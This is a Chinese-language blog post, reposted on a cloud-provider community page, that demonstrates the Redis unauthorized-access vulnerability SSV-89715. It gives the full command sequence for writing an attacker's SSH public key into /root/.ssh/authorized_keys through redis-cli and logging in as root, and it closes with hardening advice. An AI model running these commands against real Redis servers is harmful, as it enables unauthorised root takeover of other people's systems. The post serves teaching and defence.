Redis 未授權訪問缺陷可輕易導致系統被黑【SSV-89715】

來源:互聯網
上載者:User

標籤:redis漏洞

參考連結:https://www.sebug.net/vuldb/ssvid-89715

攻擊者在未授權訪問Redis的情況下可以利用Redis的相關方法,可以成功將自己的公開金鑰寫入目標伺服器的 /root/.ssh 檔案夾的authotrized_keys 檔案中,進而可以直接登入目標伺服器。

環境:

KaLi:192.168.2.162

CentOS:192.168.2.32   

CentOS部署了redis資料庫

步驟:

1.在Kali上產生金鑰組:

    命令:ssh-keygen -t rsa

650) this.width=650;" src="http://s5.51cto.com/wyfs02/M02/8B/40/wKiom1hH1zyR1TVBAABsu7V44gY919.png" title="產生秘鑰對.png" style="float:none;" alt="wKiom1hH1zyR1TVBAABsu7V44gY919.png" />


2.將公開金鑰寫入 hack.txt 檔案

    命令:(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > hack.txt

650) this.width=650;" src="http://s1.51cto.com/wyfs02/M01/8B/40/wKiom1hH1z3RyiuwAACFeO4CPFk294.png" title="寫公開金鑰.png" style="float:none;" alt="wKiom1hH1z3RyiuwAACFeO4CPFk294.png" />


3.連結redis資料庫,寫入檔案:

命令:

$ cat hack.txt | redis-cli -h 192.168.2.32 -x set crackit 

$ redis-cli -h 192.168.2.32 

$ 192.168.2.32:6379> config set dir /root/.ssh/

OK 

$ 192.168.2.32:6379> config get dir

1) "dir"

2) "/root/.ssh" 

$ 192.168.2.32:6379> config set dbfilename "authorized_keys" 

OK 

$ 192.168.2.32:6379> save

OK

650) this.width=650;" src="http://s1.51cto.com/wyfs02/M01/8B/3D/wKioL1hH1z3A7JnKAABaE-uQnxc844.png" title="寫入未按.png" style="float:none;" alt="wKioL1hH1z3A7JnKAABaE-uQnxc844.png" />

4.現在查看下 192.168.2.32 裝置的/root/.ssh/authorized.keys檔案,已經寫進去了:

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M01/8B/40/wKiom1hH1zzAOZvQAABph2srF7s969.png" title="authori.png" style="float:none;" alt="wKiom1hH1zzAOZvQAABph2srF7s969.png" />

5.使用Kali上產生的私密金鑰連結CentOS裝置

    命令:ssh -i id_rsa [email protected]

650) this.width=650;" src="http://s5.51cto.com/wyfs02/M01/8B/3D/wKioL1hH1zygaVBUAACVuRGmeRs798.png" title="登入.png" style="float:none;" alt="wKioL1hH1zygaVBUAACVuRGmeRs798.png" />

6.登入成功。

7.敏感資訊泄露:

    通過redis的info命令。可查看伺服器的相關參數和敏感資訊,

650) this.width=650;" src="http://s1.51cto.com/wyfs02/M00/8B/3D/wKioL1hH1zuC3qOHAARW2Z0GxK0499.png" title="447223464728.png" style="float:none;" alt="wKioL1hH1zuC3qOHAARW2Z0GxK0499.png" />

8.代碼執行

    redis可以嵌套lua指令碼的特性將會導致代碼執行,危害通其他伺服器端的代碼執行,

650) this.width=650;" src="http://s1.51cto.com/wyfs02/M00/8B/3D/wKioL1hH1zmzlhjrAAEzLH8wERk945.png" title="447223424307.png" style="float:none;" alt="wKioL1hH1zmzlhjrAAEzLH8wERk945.png" />

    一旦攻擊者可以在服務端執行任意代碼,攻擊方式講話會變得多且複雜。

    通過lua代碼攻擊這可以調用redis.sha1hex()函數,惡意利用redis服務進行 SHA-1 的破解。

    

解決方案:

  1. 配置bind選項, 限定可以串連Redis伺服器的IP, 並修改redis的預設連接埠6379.

  2. 配置AUTH, 設定密碼, 密碼會以明文方式儲存在redis設定檔中.

  3. 配置rename-command CONFIG "RENAME_CONFIG", 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度

  4. 好訊息是Redis作者表示將會開發”real user”,區分普通使用者和admin許可權,普通使用者將會被禁止運行某些命令,如config



本文出自 “Mask_X 部落格” 部落格,請務必保留此出處http://zhpfbk.blog.51cto.com/4757027/1880418

Redis 未授權訪問缺陷可輕易導致系統被黑【SSV-89715】

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.